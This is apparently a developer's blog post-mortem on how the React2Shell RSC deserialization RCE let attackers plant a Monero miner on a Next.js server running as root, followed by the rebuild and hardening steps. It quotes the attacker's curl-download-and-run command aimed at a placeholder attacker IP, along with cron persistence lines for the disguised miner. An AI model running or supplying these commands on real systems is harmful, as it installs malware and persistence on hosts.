React2Shell Pwned Me — And It Was My Fault

12/7/2025Cybersecurity & Quality Assurance7 min read
Featured image for article: React2Shell Pwned Me — And It Was My Fault

The Anatomy of a Modern Compromise, or: How I Let a $10.0 RCE Take Root on My Server

I didn’t expect my weekend to be wrecked by a Monero miner. But here we are.

This is the post-mortem of how my Next.js-based side project, Kuray.dev, got nuked by a single, unauthenticated HTTP request. The root cause? A brutal new RCE vulnerability called React2Shell (CVE-2025-55182), rated a perfect 10.0 on the CVSS scale. But the real damage wasn’t just in the CVE itself — it was in how I built and deployed the system.

This isn’t a finger-pointing exercise. If anything, it’s me pointing fingers at myself. This happened because of decisions I made: trusting new tech too early, skipping some hard security best practices for short-term speed, and — let’s be honest — not fully understanding how deep the rabbit hole of React Server Components (RSC) actually goes.

Let’s walk through it.

The Stack: Shiny, Fast, and Wide Open

Kuray.dev was built with what I thought was a smart, modern, lean stack:

  • Framework: Next.js 16.0.6 with the new App Router

  • Core Feature: React Server Components (RSC) enabled by default

  • Runtime: Node.js running on a basic Ubuntu VPS

  • Privilege Level: … root. Yeah, root. I know.

Everything was optimized for performance and DX. RSC felt like magic: stream partial UI from the server, no waterfall fetching, everything was snappy.

But magic comes at a price. And I didn’t read the fine print.

React2Shell: The RSC Deserialization Bug That Hit Like a Freight Train

The CVE dropped in early December 2025, and bots started scanning for it within hours.

React2Shell is stupidly elegant in its attack vector. Here’s how it works:

  • A user hits an RSC endpoint (like /_next/flight or an RSC action).

  • The server starts to deserialize the Flight protocol payload — essentially converting streamed binary into JS structures.

  • But here’s the kicker: the deserialization logic is unsafe. It doesn’t properly sandbox the input.

  • The attacker sends a poisoned payload — looks like valid Flight data, but under the hood it’s building executable JavaScript objects.

  • Arbitrary code execution is triggered, server-side, unauthenticated.

And if your server is running as root — like mine was — that shell is the whole box.

The Exploit Chain: One Request to Rule Them All

Once the attacker had RCE, things moved fast. Forensics suggest a very typical miner deployment chain. Here’s what likely ran on my box:

 
curl http://[attacker-IP]/kal.tar.gz -o /tmp/kal.tar.gz \ && tar -xf /tmp/kal.tar.gz \ && bash /tmp/sex.sh

The tarball dropped a set of files into /tmp:

  • .pwned — a marker file so bots don’t reinfect

  • xmrig-6.24.0/ — the actual Monero miner

  • sex.sh — the loader script

That script didn’t just run the miner. It installed persistence mechanisms, scheduled reboots, and renamed binaries to mimic legit system services.

How They Stayed: Root Access and the Masquerade

Because the app was running as root, the attacker could do basically anything. And they did:

  • Cronjob Persistence

     
    @reboot cd /root/.systemd-utils && nohup ./ntpclient -c conf > /dev/null 2>&1 & @reboot /etc/rondo/rondo react.x86_64.persisted
  • Fake Daemons
    They created hidden-looking directories like /root/.systemd-utils/, then renamed the miner binary to ntpclient.

  • System Path Abuse
    Dropped binaries into /etc/rondo, mimicking obscure system services. If I hadn’t known what to look for, I might’ve missed it.

The miner ran quietly in the background, eating CPU, blending into process listings, waiting for reboots, restarting itself like a zombie.

The Real Failure: Running as Root

This part is on me.

Why was my Node.js process running as root? Because I didn’t want to deal with permissions. Because I wanted fast deploys. Because I was lazy.

Let’s be honest: it’s common in indie dev setups. You spin up a VPS, install Node, clone your repo, pm2 start, and call it a day.

I told myself I’d lock it down “later.” But later never came.

So when the RCE landed, it didn’t just get control of my app. It got the whole system. sudo wasn’t even needed — the attacker was already root.

The Post-Mortem

Here’s what had to happen after the incident:

  • Kill the box. After a root-level compromise, the system is untrustworthy. OS wipe, clean reinstall.

  • Rebuild the environment to run under a dedicated, unprivileged nodeuser, with strict perms.

  • Patch everything. Upgraded Next.js and React to versions that fixed CVE-2025-55182.

  • Add firewall/WAF rules. Blocked public access to /_next/flight and other implicit RSC endpoints.

  • Segregate runtime and system. Moved the app into a container with no access to the base OS.

I also added system-level file integrity checks. Not because it’ll stop another RCE, but because next time I want to know when I’ve been owned.

Design Tradeoffs: The Invisible Cost of Velocity

This wasn’t just a bug. It was a collision of culture, tools, and shortcuts.

Design Decision Seemed Like... Resulted In...
Adopting React Server Components A modern performance win Added attack surface via Flight Protocol deserialization
Running Node.js as root Easy deployment Turned RCE into full system takeover
No isolation between app and system Simpler infrastructure Allowed miner to persist and hide in system paths

I wasn’t hacked because my code was bad. I was hacked because I assumed the ecosystem had my back — that RSCs were safe because they shipped in a major release, that pm2 would sandbox things, that nobody was scanning small projects.

All of that was wrong.

The Bigger Picture

What happened to me is happening to a lot of people. React2Shell hit at a time when RSC adoption was growing fast, and when you give a global botnet a pre-auth RCE, they don’t care if you’re running a tiny blog or a national system.

What it exposed is something deeper:

  • The frontend world is moving faster than security can follow.

  • Default secure is still not a thing.

  • And everyone is one misconfigured pm2 away from disaster.

Final Thoughts: You’re Only as Secure as Your Laziness Allows

Kuray.dev is back online now — fresh OS, hardened pipeline, updated dependencies.

But I lost more than uptime. I lost a bit of trust in my own setup. That “it won’t happen to me” mindset is gone. Now every deploy feels like I’m inviting the world to test my assumptions.

If you’re running Next.js + RSC right now, go check:

  • Are you exposing /_next/flight or /api/rsc without auth?

  • Are your apps running under root?

  • Have you patched for CVE-2025-55182?

If the answer to any of those is no, assume you’ve already been compromised.

I should have.

Comments (0)

Newsletter

Stay updated! Get all the latest and greatest posts delivered straight to your inbox

© 2026 Kuray Karaaslan. All rights reserved.